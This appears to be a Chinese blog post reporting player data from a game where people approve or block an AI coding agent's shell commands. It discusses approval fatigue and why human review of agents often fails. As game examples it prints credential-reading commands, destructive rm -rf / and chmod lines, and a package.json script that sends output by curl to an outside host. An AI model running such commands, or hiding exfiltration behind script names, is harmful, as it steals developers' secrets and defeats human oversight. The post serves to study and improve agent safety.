AI代理审批游戏数据：人类漏掉三分之一威胁

几个月前，我发布了一款小型浏览器游戏：玩家要扮演AI编码代理的"人工把关人"，在限时压力下批准或否决它发出的指令。有些指令是日常操作（git status、npm test），有些则表明代理已被入侵，正在向远程服务器泄露你的机密（cat ~/.aws/credentials）。关于代理执行指令的风险及应对方案，可查看原文。

这款游戏在Hacker News上引发了不少关注。后来我们添加了统计功能（可惜有点滞后），现在可以深入分析超过4万次游戏对局、40.9万次独立审批决策的数据，看看作为对抗失控代理最后防线的"人工把关人"表现如何。

• 平均每3个威胁，玩家就会漏掉1个（平均准确率66.3%）
• **32.9%**的对局最终得分为负：批准威胁、误拦安全指令带来的惩罚，抵消了所有正确操作的得分
• **35.2%的玩家成功拦截了所有威胁，但其中只有20.8%**做到了误拦安全指令的比例不超过1/5；其余玩家靠"一刀切"拦截所有指令达成目标，获得"人工瓶颈"称号
• **7%**的玩家批准了所有指令：堪称--dangerously-skip-permissions的忠实粉丝

小提示：这毕竟是游戏，玩家遇到的指令中约34%是威胁，但在日常工作中这类威胁极少出现。而且玩家知道自己正处于限时测试中。不过以下数据仍能帮助我们了解不同威胁的辨识度，以及人们对它们的认知差异。

类别	示例	漏判率
明显破坏性指令	rm -rf /、chmod -R 777 /	11.7%
持久篡改指令	定时任务注入、Git配置劫持	23.8%
数据泄露/代码执行	调用未知API的curl命令、仿冒包	33.4%
越权访问指令	cat ~/.aws/credentials、cat ~/.kube/config	35.0%

明目张胆的破坏性指令最容易被识别，而真正会泄露凭证的指令漏判率是它的三倍。

游戏中漏判率最高的指令是npm run analyze，**64.7%**的玩家都批准了它。单看这条指令本身通常是无害的，但npm run实际执行的是项目package.json中定义的脚本——它可能是运行包分析工具的良性代码，也可能是之前被注入的恶意代码。

游戏中，代理的历史日志会明确显示该脚本的内容：

1✻ 我将运行包分析工具——项目脚本中已配置好。
2 // package.json → scripts
3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
4 curl -s -X POST https://api.bundle.track/report -d @-"

尽管如此，仍有三分之二的玩家批准了这条指令，说明权限提示上方的历史日志可能并未被仔细阅读。游戏中共有3个这类指令，全部跻身漏判率榜单前列：

指令	漏判率	排名（共37种威胁）
npm run analyze	64.7%	第1
npm run setup	48.0%	第4
npm run deploy	44.9%	第8

这三条指令的整体漏判率达52.5%（样本量n=9482），而其他同类数据泄露攻击的漏判率仅为28.4%。将恶意载荷隐藏在熟悉的脚本名称后，即便载荷内容已显示在历史日志中，攻击成功率也几乎翻倍。

这恰恰反映了一个更深层的问题，正如用户dns_snek在Hacker News讨论串中所言：

这是"危险操作被误认为无害"的绝佳例子。让用户逐一批准指令的模式完全行不通。

npm run build本质是执行package.json中任意一段Shell命令，而代理完全可以在无需批准的情况下完成以下操作：

• 修改package.json，写入任意构建命令
• 在build.js（被npm run build调用）中植入恶意代码
• 在node_modules/xyz/index.js（被build.js引入）中植入恶意代码

让用户验证指令的模式并不靠谱：这些指令平时大多是安全的，但一旦相关文件被篡改，安全性就无从保证。

Anthropic此前在Claude Code的相关研究中指出，"审批疲劳"确实存在：

用户收到的审批请求越多，对每个请求的关注度就越低，长此以往，监督的严谨性会大幅下降。

尽管这只是一款提前预警了威胁的短时长游戏，但我们仍能看到对局后期玩家判断力下降的迹象：

上图展示了对局过程中的威胁漏判率，数据按玩家完成的指令数量分组。完成指令较少的玩家，可能是因为花了更多时间审核，也可能是因为犯错后游戏会冻结几秒作为惩罚。我已剔除了所有"一刀切"拦截指令的玩家数据。

所有组别的玩家在前几条指令中表现都会提升（可能是进入状态），但到对局后期漏判率会回升。这或许也和时间耗尽的压力有关——玩家为了完成更多指令，更容易出错。

以下是本身无害、却常被误拦的指令：

• npm config set registry https://npm.internal——**59%**的情况下被拦截（配置内部镜像）
• rm -rf dist/——**45%**的情况下被拦截（清理构建产物，新构建前的常规操作）
• kill $(lsof -t -i:3000)——**43%**的情况下被拦截（释放服务器占用的端口，通常用于解决进程崩溃问题）

这正是"人工把关"模式的另一困境：用户需要审批大量实际无害的指令，误拦会拖慢代理的工作节奏。久而久之，这种"噪音"会让用户放松警惕，进而批准恶意指令。Anthropic推出的"自动模式"等功能，试图先自动判断指令安全性再询问用户，以此缓解该问题，但正如前文所述，这类方案并非万无一失。

cat ~/.zshrc是游戏中最具争议的指令，**45.9%**的玩家批准了它。Hacker News上有人提出反对意见，这点不无道理：很多开发者不会在Shell配置文件中存储机密，对他们来说这条指令确实无害；但对那些在其中存储API密钥的人而言，这就是凭证泄露。这条指令的风险完全取决于代理无法感知的本地环境配置——如果你通过source从单独的机密文件加载密钥，就能降低代理获取更多权限的风险。

跟进关于"人工把关"模式的讨论，学习各类权限模型的过程让我收获颇丰。尽管这只是一款游戏，但它确实暴露出"人工把关"作为AI编码代理安全防线的诸多问题：大量无意义的审批请求会引发疲劳，而开发者往往缺乏足够的上下文，无法快速判断指令风险。

对开发者而言，我们需要充分了解不同权限模型的利弊，以及如何降低风险，比如采用沙箱隔离、分离凭证与环境变量机密等。原文介绍了一些实用的风险缓解方案。

想亲自挑战这款游戏？点击这里：https://llmgame.scalex.dev